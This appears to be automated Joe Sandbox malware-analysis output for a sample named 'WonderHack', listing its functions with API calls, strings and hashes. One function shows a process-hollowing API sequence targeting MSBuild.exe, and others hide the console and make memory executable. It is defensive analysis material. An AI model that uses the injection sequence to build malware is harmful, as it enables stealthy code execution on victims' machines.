Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: bc74363ad22c59082ed982eb19d15115170705c8d02f86f64c4d41bd5b96679b
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 17B1E97664064AAFDB60CF68CC80FDA73A5FF88714F158518EA08AB341D774FA51CB94

Function 00191FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00191240: _strlen.LIBCMT ref: 001912BA

CreateFileA.KERNELBASE ref: 00192036
GetFileSize.KERNEL32(00000000,00000000), ref: 00192046
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0019206B
CloseHandle.KERNELBASE(00000000), ref: 0019207A
_strlen.LIBCMT ref: 001920CD
CloseHandle.KERNEL32(00000000), ref: 001921FD

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 8545f50e3c065ea4309d19c1c2297e0b75b9c77baefe23160004a3bf90b9460e
Instruction ID: bda8df2c7050e56b82611b45fd2f9c3d9d56496a46e5e77f7ac391782f95674a
Opcode Fuzzy Hash: 8545f50e3c065ea4309d19c1c2297e0b75b9c77baefe23160004a3bf90b9460e
Instruction Fuzzy Hash: A771C0B2C00219ABCF10DFA4DC44BAEBBB5FF58314F180629E814A7391E7359995CBA1

Function 00191000 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f8f62e64225a963a675d8ca822eebe1a5c08a8e6620df44895ab274805e0289
Instruction ID: a9784b0218acd246d1ba9465e8f625631aba3192737907b5c123ed3f1d886a6e
Opcode Fuzzy Hash: 0f8f62e64225a963a675d8ca822eebe1a5c08a8e6620df44895ab274805e0289
Instruction Fuzzy Hash: CF215C336101661B8F5C9F386C62037FB4AEB835A0749573AED129F2D1E721DD5082E4

Function 001924B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 001924DD
ShowWindow.USER32(00000000,00000000), ref: 001924E6
GetCurrentThreadId.KERNEL32 ref: 00192524

Part of subcall function 0019F11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0019253A,?,?,00000000), ref: 0019F129
Part of subcall function 0019F11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,0019253A,?,?,00000000), ref: 0019F142
Part of subcall function 0019F11D: CloseHandle.KERNEL32(?,?,?,0019253A,?,?,00000000), ref: 0019F154

std::_Throw_Cpp_error.LIBCPMT ref: 00192567
std::_Throw_Cpp_error.LIBCPMT ref: 00192578
std::_Throw_Cpp_error.LIBCPMT ref: 00192589
std::_Throw_Cpp_error.LIBCPMT ref: 0019259A

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: 9f023e77010fadca8f49defeccb19ad5ea13809ed1542df27ac83f55361c2ee3
Instruction ID: 6336d999e034ec2abebd679e3d67f279bec0b4f41cbc93602104de106f8e01d2
Opcode Fuzzy Hash: 9f023e77010fadca8f49defeccb19ad5ea13809ed1542df27ac83f55361c2ee3
Instruction Fuzzy Hash: EC2176F2D402159BDF10EF949D46BDEBAB4BF14710F080129F50876281E7B5AA54C7E6

Function 001ACF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,C97C8CFE,?,001AD01A,?,?,00000000), ref: 001ACFCC

Strings

ext-ms-, xrefs: 001ACF76
api-ms-, xrefs: 001ACF62

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c7b536cf0000871aa9e53c603fce2adab1f156165f1be61c915c0108dba4a159
Instruction ID: 4e5b0f64fac827ae5a22d4093090434057833056d8e5b683d6ed9c8a599ff690
Opcode Fuzzy Hash: c7b536cf0000871aa9e53c603fce2adab1f156165f1be61c915c0108dba4a159
Instruction Fuzzy Hash: 9321E735A01311EFC7329B65EC41EAA7B69DB56760F250121F956E7690D730ED40C6D0

Function 00191750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00191783

Strings

ios_base::badbit set, xrefs: 00191BFA, 00191C20
ios_base::failbit set, xrefs: 00191BEF
ios_base::eofbit set, xrefs: 00191BEA

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: e074beaff7ed2678614cdfb6e0e6d00be4977eafdac2f0a8e66908b0f54b2dbb
Instruction ID: 67a3a607fe9e6ab79ef32a29bd9d8481b0d521cf6731295c7feffa1f422ab5b2
Opcode Fuzzy Hash: e074beaff7ed2678614cdfb6e0e6d00be4977eafdac2f0a8e66908b0f54b2dbb
Instruction Fuzzy Hash: ABF13A75A006159FCF18CF68C494BADBBF2FF88324F194269E815AB3A1D734AD45CB90

Function 001A5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 001A5392
GetLastError.KERNEL32(?,?,?,00192513,00000000,00000000), ref: 001A539E
__dosmaperr.LIBCMT ref: 001A53A5

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: d0bf80c9058500d64f80ad5a6308c13af3abc5ce6df286c387fbeb40feb0d4ba
Instruction ID: ebde5e257c07a46ee895822f793dd43b49e8e1fd35061d8b1d0cb23e6d3f06b7
Opcode Fuzzy Hash: d0bf80c9058500d64f80ad5a6308c13af3abc5ce6df286c387fbeb40feb0d4ba
Instruction Fuzzy Hash: 0201B17A508619EFDF159FB0DC06AAE3B66FF523A0F004058F80192190EBB1DE40DB50

Function 001A54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001AC2BB: GetLastError.KERNEL32(00000000,?,001A76E9,001AD306,?,?,001AC1B7,00000001,00000364,?,00000005,000000FF,?,001A5495,001C8E38,0000000C), ref: 001AC2BF
Part of subcall function 001AC2BB: SetLastError.KERNEL32(00000000), ref: 001AC361

CloseHandle.KERNEL32(?,?,?,001A53D9,?,?,001A54CE,00000000), ref: 001A551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,001A53D9,?,?,001A54CE,00000000), ref: 001A5535
ExitThread.KERNEL32 ref: 001A553E

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: b98d8523337dcf518b4bb5bf3be8c5a86de4905a72840decb44cd3ca7889acdf
Instruction ID: 3bf9ed07353c78633c7ecd7d7bd699ff22bf7700f38a293074ea3c15cf05f033
Opcode Fuzzy Hash: b98d8523337dcf518b4bb5bf3be8c5a86de4905a72840decb44cd3ca7889acdf
Instruction Fuzzy Hash: 37F08CB8908F006BCB315B75D808A6A3FABAF02370F084614F869C74E1DB30ED828790

Function 001A565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,001A5721,001A8396,001A8396,?,00000002,C97C8CFE,001A8396,00000002), ref: 001A5670
TerminateProcess.KERNEL32(00000000,?,001A5721,001A8396,001A8396,?,00000002,C97C8CFE,001A8396,00000002), ref: 001A5677
ExitProcess.KERNEL32 ref: 001A5689

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 019c73e8672f2cf1a1ada6fbdd3dfdd67855b128201694a431c70cedf87999b0
Instruction ID: 840b1348dfc83084c0e70b8a05e6ab124f00ffac672fd5b22f4ef829c2f0e975
Opcode Fuzzy Hash: 019c73e8672f2cf1a1ada6fbdd3dfdd67855b128201694a431c70cedf87999b0
Instruction Fuzzy Hash: 4FD09235004608BBCF012FA1DD0DCA93F2BEF55382B444010B9494A472DF32D992DA88

Function 001B3BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001B3F9E: GetConsoleOutputCP.KERNEL32(C97C8CFE,00000000,00000000,?), ref: 001B4001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,001A8584,?), ref: 001B3D79
GetLastError.KERNEL32(?,?,001A8584,?,001A87C8,00000000,?,00000000,001A87C8,?,?,?,001C8FE8,0000002C,001A86B4,?), ref: 001B3D83

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 66389f4630c472c7d36cbb873b4e374f9a1588720e000babb335cbaabe8c3203
Instruction ID: 650cb3c80b6944b03e5d22ce12894cba2c46917e192e306da5a841bacbf50959
Opcode Fuzzy Hash: 66389f4630c472c7d36cbb873b4e374f9a1588720e000babb335cbaabe8c3203
Instruction Fuzzy Hash: B561D075904119AFDF15CFE8C885EEEBFB9BF19304F54014AE924A7252D732DA21CBA0

Function 001B43CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,001B3D5F,00000000,001A87C8,?,00000000,?,00000000), ref: 001B4469
GetLastError.KERNEL32(?,001B3D5F,00000000,001A87C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,001A8584), ref: 001B448F

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 3f5e1d0e6d841f6e979c383457d6f17c6c893b1e65d5e4a6e1cf878ce41a99dd
Instruction ID: 615d099e58bc3e4d3a25b6ba504f4b79fcb20276ffda26e9a62bb0ff4aad8916
Opcode Fuzzy Hash: 3f5e1d0e6d841f6e979c383457d6f17c6c893b1e65d5e4a6e1cf878ce41a99dd
Instruction Fuzzy Hash: 9021B134A002189FCF19CF29DC90AE9B7B9EF48305F1480A9EA46D7212D730ED82CB64

Function 001990F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 001991C9
std::_Throw_Cpp_error.LIBCPMT ref: 001991D7

Part of subcall function 0019EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00198E4A,0019A2F0), ref: 0019EFE7

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: faeadf8072ce9242a39bb7fbdc03120a7e90b1509be681707368128cc7ddb967
Instruction ID: 8c273b4c285e1ba7b89a38c689fb7288cf425de42c15457b0a35d85c75f9366e
Opcode Fuzzy Hash: faeadf8072ce9242a39bb7fbdc03120a7e90b1509be681707368128cc7ddb967
Instruction Fuzzy Hash: F02102B0A006469BDF10DF68CD45BAEBBB4FF14320F144229E525673C1D734A904CBD2

Function 001ADA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,001AD941,001C9330,0000000C), ref: 001ADA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,001AD941,001C9330,0000000C), ref: 001ADAB0

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: f1b29263c6da520725d9e871ac5969509b87ce6663506f735508b4d1fc764081
Instruction ID: 61d6128c7a8c9ed9dabc7c970c1f6e8f267ebc384be9d09b993308ac3db91389
Opcode Fuzzy Hash: f1b29263c6da520725d9e871ac5969509b87ce6663506f735508b4d1fc764081
Instruction Fuzzy Hash: EB118479508F424ACB348A3EAC886227E95AB57330B390759D1BBC7DF1C774D986D241

Function 00191EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00191240: _strlen.LIBCMT ref: 001912BA

FreeConsole.KERNELBASE(?,?,?,?,?,0019173F,?,?,?,00000000,?), ref: 00191F21
VirtualProtect.KERNELBASE(001CA011,00000549,00000040,?), ref: 00191F78

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: d4de5aac42db8279b0f206a9e547f305087b84e7f5db7190f5f0ee62e4e818ad
Instruction ID: cf1fe56f653da840ccab7faaba99f7951f277e3e2f80eccb64f2a0c2891a13b7
Opcode Fuzzy Hash: d4de5aac42db8279b0f206a9e547f305087b84e7f5db7190f5f0ee62e4e818ad
Instruction Fuzzy Hash: 5111A371E401197BDF04BBA59C02EBE7B74EF54705F504429F608A72C2E775A99047D1

Function 001A5470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(001C8E38,0000000C), ref: 001A5483
ExitThread.KERNEL32 ref: 001A548A

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014616356.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014672826.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_WonderHack.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: eaed8be965030303a20a71536df9dc0b45b7980dff32740eab51adb66307a268
Instruction ID: 4257eeba1480c2d16cbf6cf31af31c1972bd2b5c637681d19f7ffcf77e276bfa
Opcode Fuzzy Hash: eaed8be965030303a20a71536df9dc0b45b7980dff32740eab51adb66307a268
Instruction Fuzzy Hash: CCF0F679A00604AFDB00AFB0C80AE6E3F71FF66740F104059F00197292DF749D82CB91

Function 00192270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00192288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0019229C

Part of subcall function 00191FB0: CreateFileA.KERNELBASE ref: 00192036
Part of subcall function 00191FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 00192046
Part of subcall function 00191FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0019206B
Part of subcall function 00191FB0: CloseHandle.KERNELBASE(00000000), ref: 0019207A
Part of subcall function 00191FB0: _strlen.LIBCMT ref: 001920CD

Memory Dump Source

Source File: 00000000.00000002.2014515623.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2014499877.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014542373.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014580410.00000000001CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2014600509.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
